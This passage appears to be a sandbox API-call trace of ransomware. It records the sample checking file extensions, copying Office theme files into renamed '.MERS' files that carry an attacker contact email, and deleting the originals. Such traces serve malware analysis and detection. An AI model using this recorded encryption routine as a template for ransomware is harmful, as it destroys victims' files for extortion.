lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.235] lstrlenW (lpString=".dbf") returned 4 [0271.235] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.235] lstrlenW (lpString=".1cd") returned 4 [0271.235] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0271.244] lstrlenW (lpString=".jpg") returned 4 [0271.244] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.244] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.244] lstrlenW (lpString="Horizon.eftx") returned 12 [0271.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.092] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=211090) returned 1 [0272.092] CloseHandle (hObject=0x418) returned 1 [0272.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0272.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.092] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.092] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.093] GetLastError () returned 0x0 [0272.093] ReadFile (in: hFile=0x418, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x33892, lpOverlapped=0x0) returned 1 [0272.365] WriteFile (in: hFile=0x410, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0272.368] ReadFile (in: hFile=0x418, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.368] WriteFile (in: hFile=0x410, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.368] SetEndOfFile (hFile=0x410) returned 1 [0272.368] CloseHandle (hObject=0x410) returned 1 [0272.369] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.369] SetEndOfFile (hFile=0x418) returned 1 [0272.374] CloseHandle (hObject=0x418) returned 1 [0272.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0272.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.429] lstrlenW (lpString=".doc") returned 4 [0272.429] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".docx") returned 5 [0272.430] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.430] lstrlenW (lpString=".pdf") returned 4 [0272.430] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".xls") returned 4 [0272.430] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".xlsx") returned 5 [0272.430] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.430] lstrlenW (lpString=".ppt") returned 4 [0272.430] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString=".zip") returned 4 [0272.430] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".rar") returned 4 [0272.430] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".bz2") returned 4 [0272.430] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".7z") returned 3 [0272.430] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString=".dbf") returned 4 [0272.430] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString=".1cd") returned 4 [0272.430] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString=".jpg") returned 4 [0272.430] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.430] lstrlenW (lpString=".doc") returned 4 [0272.430] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.430] lstrlenW (lpString=".docx") returned 5 [0272.430] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.430] lstrlenW (lpString=".pdf") returned 4 [0272.431] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString=".xls") returned 4 [0272.431] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString=".xlsx") returned 5 [0272.431] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.431] lstrlenW (lpString=".ppt") returned 4 [0272.431] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.431] lstrlenW (lpString=".zip") returned 4 [0272.431] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString=".rar") returned 4 [0272.431] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString=".bz2") returned 4 [0272.431] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString=".7z") returned 3 [0272.431] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.431] lstrlenW (lpString=".dbf") returned 4 [0272.431] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.431] lstrlenW (lpString=".1cd") returned 4 [0272.431] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0272.431] lstrlenW (lpString=".jpg") returned 4 [0272.431] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.432] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.432] lstrlenW (lpString="Origin.eftx") returned 11 [0272.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0272.454] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=40941) returned 1 [0272.455] CloseHandle (hObject=0x360) returned 1 [0272.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0272.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.477] GetLastError () returned 0x0 [0272.477] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0272.479] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0272.480] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.480] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.480] SetEndOfFile (hFile=0x3ac) returned 1 [0272.480] CloseHandle (hObject=0x3ac) returned 1 [0272.480] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.480] SetEndOfFile (hFile=0x39c) returned 1 [0272.482] CloseHandle (hObject=0x39c) returned 1 [0272.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0272.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.483] lstrlenW (lpString=".doc") returned 4 [0272.483] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".docx") returned 5 [0272.483] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.483] lstrlenW (lpString=".pdf") returned 4 [0272.483] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".xls") returned 4 [0272.483] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".xlsx") returned 5 [0272.483] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.483] lstrlenW (lpString=".ppt") returned 4 [0272.483] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.483] lstrlenW (lpString=".zip") returned 4 [0272.483] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".rar") returned 4 [0272.483] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".bz2") returned 4 [0272.483] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.483] lstrlenW (lpString=".7z") returned 3 [0272.483] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".dbf") returned 4 [0272.484] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".1cd") returned 4 [0272.484] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".jpg") returned 4 [0272.484] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".doc") returned 4 [0272.484] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".docx") returned 5 [0272.484] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.484] lstrlenW (lpString=".pdf") returned 4 [0272.484] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".xls") returned 4 [0272.484] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".xlsx") returned 5 [0272.484] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.484] lstrlenW (lpString=".ppt") returned 4 [0272.484] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".zip") returned 4 [0272.484] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".rar") returned 4 [0272.484] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".bz2") returned 4 [0272.484] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.484] lstrlenW (lpString=".7z") returned 3 [0272.484] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.484] lstrlenW (lpString=".dbf") returned 4 [0272.484] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.485] lstrlenW (lpString=".1cd") returned 4 [0272.485] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0272.485] lstrlenW (lpString=".jpg") returned 4 [0272.485] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.485] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.485] lstrlenW (lpString="Perspective.eftx") returned 16 [0272.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.486] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=21423) returned 1 [0272.486] CloseHandle (hObject=0x39c) returned 1 [0272.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0272.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.486] GetLastError () returned 0x0 [0272.486] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x53af, lpOverlapped=0x0) returned 1 [0272.551] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0272.552] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.552] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0272.552] SetEndOfFile (hFile=0x3ac) returned 1 [0272.552] CloseHandle (hObject=0x3ac) returned 1 [0272.552] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.552] SetEndOfFile (hFile=0x39c) returned 1 [0272.555] CloseHandle (hObject=0x39c) returned 1 [0272.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.556] lstrlenW (lpString=".doc") returned 4 [0272.556] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".docx") returned 5 [0272.556] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.556] lstrlenW (lpString=".pdf") returned 4 [0272.556] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".xls") returned 4 [0272.556] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".xlsx") returned 5 [0272.556] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.556] lstrlenW (lpString=".ppt") returned 4 [0272.556] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.556] lstrlenW (lpString=".zip") returned 4 [0272.556] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".rar") returned 4 [0272.556] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".bz2") returned 4 [0272.556] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.556] lstrlenW (lpString=".7z") returned 3 [0272.557] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString=".dbf") returned 4 [0272.557] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString=".1cd") returned 4 [0272.557] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString=".jpg") returned 4 [0272.557] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString=".doc") returned 4 [0272.557] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".docx") returned 5 [0272.557] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.557] lstrlenW (lpString=".pdf") returned 4 [0272.557] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".xls") returned 4 [0272.557] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".xlsx") returned 5 [0272.557] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.557] lstrlenW (lpString=".ppt") returned 4 [0272.557] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.557] lstrlenW (lpString=".zip") returned 4 [0272.557] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".rar") returned 4 [0272.557] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".bz2") returned 4 [0272.557] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.557] lstrlenW (lpString=".7z") returned 3 [0272.557] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.558] lstrlenW (lpString=".dbf") returned 4 [0272.558] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.558] lstrlenW (lpString=".1cd") returned 4 [0272.558] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0272.558] lstrlenW (lpString=".jpg") returned 4 [0272.558] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.558] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.558] lstrlenW 